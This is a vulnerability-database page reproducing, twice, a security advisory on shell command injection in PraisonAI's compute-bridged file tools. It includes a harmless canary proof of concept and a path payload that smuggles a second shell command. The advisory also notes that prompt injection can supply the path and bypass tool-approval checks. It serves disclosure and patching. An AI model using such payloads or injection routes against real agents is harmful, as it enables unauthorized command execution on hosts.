# Compute-bridged file tools allow shell command injection ## Summary `LocalManagedAgent` / `SandboxedAgent` compute bridging wraps `read_file`, `list_files`, and `write_file` when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path...
Full CISO analysis pending enrichment.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | >= 4.6.10, <= 4.6.58 | 4.6.59 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
Patch available
Update PraisonAI to version 4.6.59
Which compliance frameworks are affected?
Compliance analysis pending. Sign in for full compliance mapping when available.
Frequently Asked Questions
What is GHSA-w6h2-fr4q-xvxv?
# Compute-bridged file tools allow shell command injection ## Summary `LocalManagedAgent` / `SandboxedAgent` compute bridging wraps `read_file`, `list_files`, and `write_file` when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With `compute="local"`, commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. ## Affected Product - Repository: `MervinPraison/PraisonAI` - Package: `praisonai` - Component: `src/praisonai/praisonai/integrations/managed_local.py` - Confirmed affected: - `v4.6.10` - `v4.6.56` - `v4.6.57` - current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1` - Confirmed not affected: - `v4.6.9` - `v4.6.1` - `v4.5.149` - Suggested affected range: `>= 4.6.10, <= 4.6.57` ## Root Cause Current `managed_local.py` defines the bridged tool set: ```python compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"} ``` For file tools, `_bridge_file_tool()` constructs shell command strings: ```python command = f'cat "{filepath}"' command = f'ls -la "{directory}"' command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF' ``` The local compute provider executes the string with `asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it with `["sh", "-c", command]`. The bridge keeps the low-risk `read_file` / `list_files` tool names and signatures while changing their execution primitive into shell interpretation. ## Why This Is Not Intended Behavior Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax. The normal `read_file` and `list_files` implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks `execute_command` as `critical`, while `read_file` and `list_files` are not dangerous-tool entries. ## Impact An application that exposes a PraisonAI agent using `LocalManagedAgent` or `SandboxedAgent` with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to `read_file` or `list_files`. This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting `execute_command`. ## Local PoV The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools. Minimal inline reproducer: ```python import os from pathlib import Path from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig from praisonaiagents.tools import list_files, read_file workdir = Path(".prai-cand-006-pov-workdir") workdir.mkdir(exist_ok=True) (workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8") canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED" os.environ["PRAI_CAND_006_CANARY"] = canary payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #' # Control: normal file tools treat the payload as a literal path. normal_read = read_file(str(workdir / payload)) normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #')) cfg = LocalManagedConfig( name="prai-cand-006-poc", tools=["read_file", "list_files"], working_dir=str(workdir), ) managed = LocalManagedAgent(config=cfg, compute="local") tools = {tool.__name__: tool for tool in managed._resolve_tools()} bridged_read = tools["read_file"](payload) bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #') print("normal_read_contains_canary", canary in normal_read) print("normal_list_contains_canary", canary in normal_list) print("bridged_read_contains_canary", canary in bridged_read) print("bridged_list_contains_canary", canary in bridged_list) ``` Command: ```bash python3 \ submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \ --repo artifacts/repos/praisonai-current ``` Current-head result: ```json { "describe": "v4.6.57-4-g2f9677ab", "vulnerable": true, "normal_controls": { "read_file_payload_contains_canary": false, "list_files_payload_contains_canary": false }, "bridged_results": { "read_file_payload_contains_canary": true, "list_files_payload_contains_canary": true }, "approval_registry": { "execute_command_risk": "critical", "read_file_risk": null, "list_files_risk": null } } ``` The payload used by the PoV is: ```text missing"; printf "$PRAI_CAND_006_CANARY"; # ``` Normal `read_file` treats this as a literal missing filename. The bridged tool constructs: ```sh cat "missing"; printf "$PRAI_CAND_006_CANARY"; #" ``` and returns the canary from the compute shell. ## Suggested Fix Do not implement file operations by constructing shell command strings from path/content arguments. Preferred fix: 1. Add provider-native file APIs for read, write, and list operations, or pass arguments as structured argv where the provider supports it. 2. Preserve the normal file-tool path validation and workspace boundary checks for compute-bridged file tools. 3. Treat `write_file` content as data, not shell source. The current heredoc construction is also unsafe if content can contain the delimiter. 4. Add regression tests that use paths containing `"`, `;`, `$()`, backticks, newline, and `#` and assert no shell execution occurs. 5. Keep `execute_command` as the only bridge path that intentionally accepts a shell command string, with critical approval semantics. A minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from `compute_bridged_tools` until safe provider-native file operations exist. ## Suggested Severity The vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, `PR:N` may be appropriate.
Is GHSA-w6h2-fr4q-xvxv actively exploited?
No confirmed active exploitation of GHSA-w6h2-fr4q-xvxv has been reported, but organizations should still patch proactively.
How to fix GHSA-w6h2-fr4q-xvxv?
Update to patched version: PraisonAI 4.6.59.
What is the CVSS score for GHSA-w6h2-fr4q-xvxv?
GHSA-w6h2-fr4q-xvxv has a CVSS v3.1 base score of 8.8 (HIGH).
What are the technical details?
Original Advisory
# Compute-bridged file tools allow shell command injection ## Summary `LocalManagedAgent` / `SandboxedAgent` compute bridging wraps `read_file`, `list_files`, and `write_file` when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With `compute="local"`, commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. ## Affected Product - Repository: `MervinPraison/PraisonAI` - Package: `praisonai` - Component: `src/praisonai/praisonai/integrations/managed_local.py` - Confirmed affected: - `v4.6.10` - `v4.6.56` - `v4.6.57` - current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1` - Confirmed not affected: - `v4.6.9` - `v4.6.1` - `v4.5.149` - Suggested affected range: `>= 4.6.10, <= 4.6.57` ## Root Cause Current `managed_local.py` defines the bridged tool set: ```python compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"} ``` For file tools, `_bridge_file_tool()` constructs shell command strings: ```python command = f'cat "{filepath}"' command = f'ls -la "{directory}"' command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF' ``` The local compute provider executes the string with `asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it with `["sh", "-c", command]`. The bridge keeps the low-risk `read_file` / `list_files` tool names and signatures while changing their execution primitive into shell interpretation. ## Why This Is Not Intended Behavior Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax. The normal `read_file` and `list_files` implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks `execute_command` as `critical`, while `read_file` and `list_files` are not dangerous-tool entries. ## Impact An application that exposes a PraisonAI agent using `LocalManagedAgent` or `SandboxedAgent` with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to `read_file` or `list_files`. This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting `execute_command`. ## Local PoV The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools. Minimal inline reproducer: ```python import os from pathlib import Path from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig from praisonaiagents.tools import list_files, read_file workdir = Path(".prai-cand-006-pov-workdir") workdir.mkdir(exist_ok=True) (workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8") canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED" os.environ["PRAI_CAND_006_CANARY"] = canary payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #' # Control: normal file tools treat the payload as a literal path. normal_read = read_file(str(workdir / payload)) normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #')) cfg = LocalManagedConfig( name="prai-cand-006-poc", tools=["read_file", "list_files"], working_dir=str(workdir), ) managed = LocalManagedAgent(config=cfg, compute="local") tools = {tool.__name__: tool for tool in managed._resolve_tools()} bridged_read = tools["read_file"](payload) bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #') print("normal_read_contains_canary", canary in normal_read) print("normal_list_contains_canary", canary in normal_list) print("bridged_read_contains_canary", canary in bridged_read) print("bridged_list_contains_canary", canary in bridged_list) ``` Command: ```bash python3 \ submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \ --repo artifacts/repos/praisonai-current ``` Current-head result: ```json { "describe": "v4.6.57-4-g2f9677ab", "vulnerable": true, "normal_controls": { "read_file_payload_contains_canary": false, "list_files_payload_contains_canary": false }, "bridged_results": { "read_file_payload_contains_canary": true, "list_files_payload_contains_canary": true }, "approval_registry": { "execute_command_risk": "critical", "read_file_risk": null, "list_files_risk": null } } ``` The payload used by the PoV is: ```text missing"; printf "$PRAI_CAND_006_CANARY"; # ``` Normal `read_file` treats this as a literal missing filename. The bridged tool constructs: ```sh cat "missing"; printf "$PRAI_CAND_006_CANARY"; #" ``` and returns the canary from the compute shell. ## Suggested Fix Do not implement file operations by constructing shell command strings from path/content arguments. Preferred fix: 1. Add provider-native file APIs for read, write, and list operations, or pass arguments as structured argv where the provider supports it. 2. Preserve the normal file-tool path validation and workspace boundary checks for compute-bridged file tools. 3. Treat `write_file` content as data, not shell source. The current heredoc construction is also unsafe if content can contain the delimiter. 4. Add regression tests that use paths containing `"`, `;`, `$()`, backticks, newline, and `#` and assert no shell execution occurs. 5. Keep `execute_command` as the only bridge path that intentionally accepts a shell command string, with critical approval semantics. A minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from `compute_bridged_tools` until safe provider-native file operations exist. ## Suggested Severity The vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, `PR:N` may be appropriate.
Weaknesses (CWE)
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Primary
CWE-863 Incorrect Authorization
Primary
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
GHSA-vmmj-pfw7-fjwp 9.9 Analysis pending
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai